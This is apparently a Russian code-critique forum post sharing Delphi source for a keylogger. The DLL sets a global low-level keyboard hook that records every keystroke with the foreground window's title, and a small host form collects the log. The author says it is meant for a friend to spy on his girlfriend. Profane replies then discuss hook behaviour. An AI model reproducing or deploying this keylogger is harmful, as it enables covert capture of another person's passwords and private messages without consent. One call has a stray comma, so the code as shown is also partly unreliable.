- 01
 - 02
 - 03
 - 04
 - 05
 - 06
 - 07
 - 08
 - 09
 - 10
 - 11
 - 12
 - 13
 - 14
 - 15
 - 16
 - 17
 - 18
 - 19
 - 20
 - 21
 - 22
 - 23
 - 24
 - 25
 - 26
 - 27
 - 28
 - 29
 - 30
 - 31
 - 32
 - 33
 - 34
 - 35
 - 36
 - 37
 - 38
 - 39
 - 40
 - 41
 - 42
 - 43
 - 44
 - 45
 - 46
 - 47
 - 48
 - 49
 - 50
 - 51
 - 52
 - 53
 - 54
 - 55
 - 56
 - 57
 - 58
 - 59
 - 60
 - 61
 - 62
 - 63
 - 64
 - 65
 - 66
 - 67
 - 68
 - 69
 - 70
 - 71
 - 72
 - 73
 - 74
 - 75
 - 76
 - 77
 - 78
 - 79
 - 80
 - 81
 - 82
 - 83
 - 84
 - 85
 - 86
 - 87
 - 88
 - 89
 - 90
 - 91
 - 92
 - 93
 - 94
 - 95
 - 96
 - 97
 - 98
 - 99
 
                        unit KHook;
interface
uses Windows, SysUtils, Messages;
const
  WH_KEYBOARD_LL = 13;
  LLKHF_UP = $0080;
type
  TKbdHookEvent=procedure (S:WideString);
type
  PKbdDllHookStruct = ^TKbdDllHookStruct;
  TKbdDllHookStruct = record
    vkCode: DWORD;
    scanCode: DWORD;
    flags: DWORD;
    time: DWORD;
    dwExtraInfo: PDWORD;
  end;
  KBDLLHOOKSTRUCT = TKbdDllHookStruct;
implementation
var
  KbdProc:TKbdHookEvent=nil;
  Hook:HHOOk;
  WinTitle:WideString='';
function lpfn(nCode,wParam,lParam:Integer):Integer; stdcall;
var
  KeyName:WideString;
  CurrWinTitle:WideString;
  KeyState : TKeyboardState;
  hklLayout:HKL;
  FW:HWND;
begin
   try
    if (nCode = HC_ACTION) and ((wParam = WM_KEYDOWN) or (wParam=WM_SYSKEYDOWN)) then
    begin
      FW:=GetForegroundWindow;
      hklLayout:=GetKeyboardLayout(GetWindowThreadProcessId(FW, nil));
      GetKeyboardState(KeyState);
      SetLength(CurrWinTitle, 1000);
      SetLength(CurrWinTitle, GetWindowTextW(FW, @CurrWinTitle[1], 1000));
      with PKbdDllHookStruct(LParam)^ do
      case vkCode of
        VK_BACK:     KeyName := '[BackSpace]';
        VK_TAB:      KeyName := '[Tab]';
        VK_CAPITAL:  KeyName := '[CapsLock]';
        VK_RETURN:   KeyName := '[Enter]';
        VK_ESCAPE:   KeyName := '[Esc]';
        VK_CANCEL:   KeyName :=  '[Cancel]';
        VK_F1:       KeyName := '[F1]';
			{...}
        VK_HELP:     KeyName := '[Help]';
      else
        SetLength(KeyName,1);
        KeyState[VK_SHIFT]:=GetKeyState(VK_SHIFT);
        KeyState[VK_CAPITAL]:=GetKeyState(VK_CAPITAL);
        if ToUnicodeEx(vkCode, MapVirtualKeyW(vkCode, 0,), @KeyState, @KeyName[1], SizeOf(WideChar), 0, hklLayout) <> 1 then
        KeyName:='?!ERROR'; // не корысти ради, токмо для отладки.
      end;
      if KeyName='' then KeyName:=IntToStr(PKbdDllHookStruct(LParam)^.vkCode);
      if WinTitle='' then
      begin
        WinTitle:=CurrWinTitle;
        KeyName:=CurrWinTitle+' {'#13#10+KeyName;
      end
      else if WinTitle <> CurrWinTitle then
      begin
        WinTitle:=CurrWinTitle;
        KeyName:='}'#13#10+CurrWinTitle+' {'#13#10+KeyName;
      end;
      KbdProc(KeyName);
    end;
  finally
     Result := CallNextHookEx(Hook,nCode,wParam,lParam);
  end;
end;
function SetHook(lpCallBack:TKbdHookEvent):Boolean;
begin
  if Assigned(lpCallBack) then
  KbdProc:=lpCallBack;
  Hook:=SetWindowsHookExW(WH_KEYBOARD_LL, lpfn, HInstance,0);
  Result:=(Hook <> INVALID_HANDLE_VALUE);
end;
function RemoveHook:Boolean;
begin
   Result:=UnHookWindowsHookEx(Hook);
end;
  exports SetHook,
   RemoveHook;
end.
                                 
        
            Клавиатурный сексот на Delphi. 
Никогда такой хуйнёй не страдал, пишу для друга, который подозревает свою деву в изменах.
        
        
А ещё можно было юзать копеечный кабель от древнего мобильника чтобы не распаивать эту микросхему самому.
Его нет на сайте. Что ему передать?
[code]
type
TKbdHookEvent=procedure (S:WideString);
function SetHook(callback:TKbdHookEvent):Boolean; external 'hook';
function RemoveHook:Boolean; external 'hook';
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure Lol(S:WideString); // В коллбеке нельзя выполнять никаких длительных операций, ибо блокируется обработка сообщений в приложении-жертве.
begin
form1.Memo1.SelectAll;
Form1.Memo1.SelStart:=Form1.Memo1.SelLen gth;
form1.Memo1.SelText:=S;
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
RemoveHook;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
SetHook(lol);
end;
end.
WH_KEYBOARD_LL: This hook is called in the context of the thread that installed it.
WH_KEYBOARD: This hook may be called in the context of the thread that installed it.
Ебучее винапи, такие тонкости на ровном месте.
WH_KEYBOARD же более предсказуемое говно.
Причём на js.
Ну а что такого? Знакомый язык, который где-то ещё может пригодиться. Из джвух говн выбирают меньшее.
Попробуй последнюю версию, она няшная. Хоть и не так хардкорно выглядит как старые, конечно.
Windbg preview загугли, там полно в статье от майков.
Лол в том, что хуки в процессы другой битности тоже работают. Винда сама зафорвардит их в тред, который инсталлил хук. А вот хуки правильной битности могут стрельнуть в любом из этих джвух процессов.
> чёрным по белому
Прибавь контраста что ли... In a 64-bit process, the threads are still marked as "hooked." However, because a 32-bit application must run the hook code, the system executes the hook in the hooking app's context; specifically, on the thread that called SetWindowsHookEx.
Библиотека должна экспортировать функцию с именем CreateProcessNotify. Хукаются далеко не все процессы, а только те, кто подгрузил shell32. Изрядное говнецо. Я в своё время делал удаленный поток в проводник, было намного юзабельнее и чище.
КРАСИВА!!!
Можно и массивы, если константы VK_BLABLA идкут попа рядку:
маловероятно.
Можно же просто два параллельных массива сделать: с кодами и со строками, а потом линейным поиском по ним бегать. На таких размерах небось шустрее всяких там хэш-таблиц будет.
fxd
Офис в Грозном.
Писать на [email protected] или [email protected].